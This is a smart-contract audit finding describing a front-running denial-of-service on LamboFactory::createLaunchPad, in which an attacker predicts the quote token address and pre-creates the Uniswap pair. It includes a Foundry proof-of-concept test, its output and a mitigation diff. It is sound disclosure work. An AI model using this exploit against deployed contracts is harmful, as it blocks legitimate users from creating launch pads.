Finding description and impact

LamboFactory::createLaunchPad calls createPair function on uniswapV2Factory to create a pool for qouteToken (created via Clone library) and virtualLiquidityToken.

        pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).createPair(virtualLiquidityToken, quoteToken);

this is the implementation of createPair:

    function createPair(address tokenA, address tokenB) external returns (address pair) {
        require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES');
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS');
        //@audit-High: ensure that this pool does not exist!!!!
        require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient
        //rest of the code...
    }

The issue here is that, since address of new quoteToken is predictable (using nonce and address of LamboFactory), an attacker can easily create a pool using qouteToken address and virtualLiquidityToken prior to LamboFactory::createLaunchPad and prevent new pool from being created.

Proof of Concept

paste this code into GeneralTest.t.sol and then run:
forge test --match-test test_ddos_create_pool
Code:

    function test_ddos_create_pool() public {
        //attacker address
        address attacker = makeAddr("Attacker");
        //calculate quote token
        uint nonce = vm.getNonce(address(factory));
        address qoute_predicted = vm.computeCreateAddress(
            address(factory),
            nonce
        );
        vm.startPrank(attacker);
        //create the pair here
        IPoolFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(
            qoute_predicted,
            address(vETH)
        );
        vm.stopPrank();

        //victim pool
        address victim = makeAddr("Victim");
        vm.startPrank(victim);
        //Can't do this, because pool is already created
        (address quoteToken2, address pool2) = factory.createLaunchPad(
            "LamboToken",
            "LAMBO",
            200 ether,
            address(vETH)
        );
        vm.stopPrank();
    }

Result:

Ran 1 test for test/GeneralTest.t.sol:GeneralTest
[FAIL: revert: UniswapV2: PAIR_EXISTS] test_ddos_create_pool() (gas: 2651936)
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.42s (1.04s CPU time)

Ran 1 test suite in 3.42s (3.42s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/GeneralTest.t.sol:GeneralTest
[FAIL: revert: UniswapV2: PAIR_EXISTS] test_ddos_create_pool() (gas: 2651936)

Encountered a total of 1 failing tests, 0 tests succeeded

Recommended mitigation steps

Get pool address if its already created:

    function createLaunchPad(
        string memory name,
        string memory tickname,
        uint256 virtualLiquidityAmount,
        address virtualLiquidityToken
    ) public onlyWhiteListed(virtualLiquidityToken) nonReentrant returns (address quoteToken, address pool) {
        //create the token here for the qoute token
        quoteToken = _deployLamboToken(name, tickname);
-       //create the pool for this coins
-       pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).createPair(virtualLiquidityToken, quoteToken);
+       pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).getPair(virtualLiquidityToken, quoteToken);
+       if(pool == address(0)) {
+          pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).createPair(virtualLiquidityToken, quoteToken);
+       }

        VirtualToken(virtualLiquidityToken).takeLoan(pool, virtualLiquidityAmount);
        IERC20(quoteToken).safeTransfer(pool, LaunchPadUtils.TOTAL_AMOUNT_OF_QUOTE_TOKEN);

        // Directly minting to address(0) will cause Dexscreener to not display LP being burned
        // So, we have to mint to address(this), then send it to address(0).
        IPool(pool).mint(address(this));
        IERC20(pool).safeTransfer(address(0), IERC20(pool).balanceOf(address(this)));

        emit PoolCreated(virtualLiquidityToken, quoteToken, pool, virtualLiquidityAmount);
    }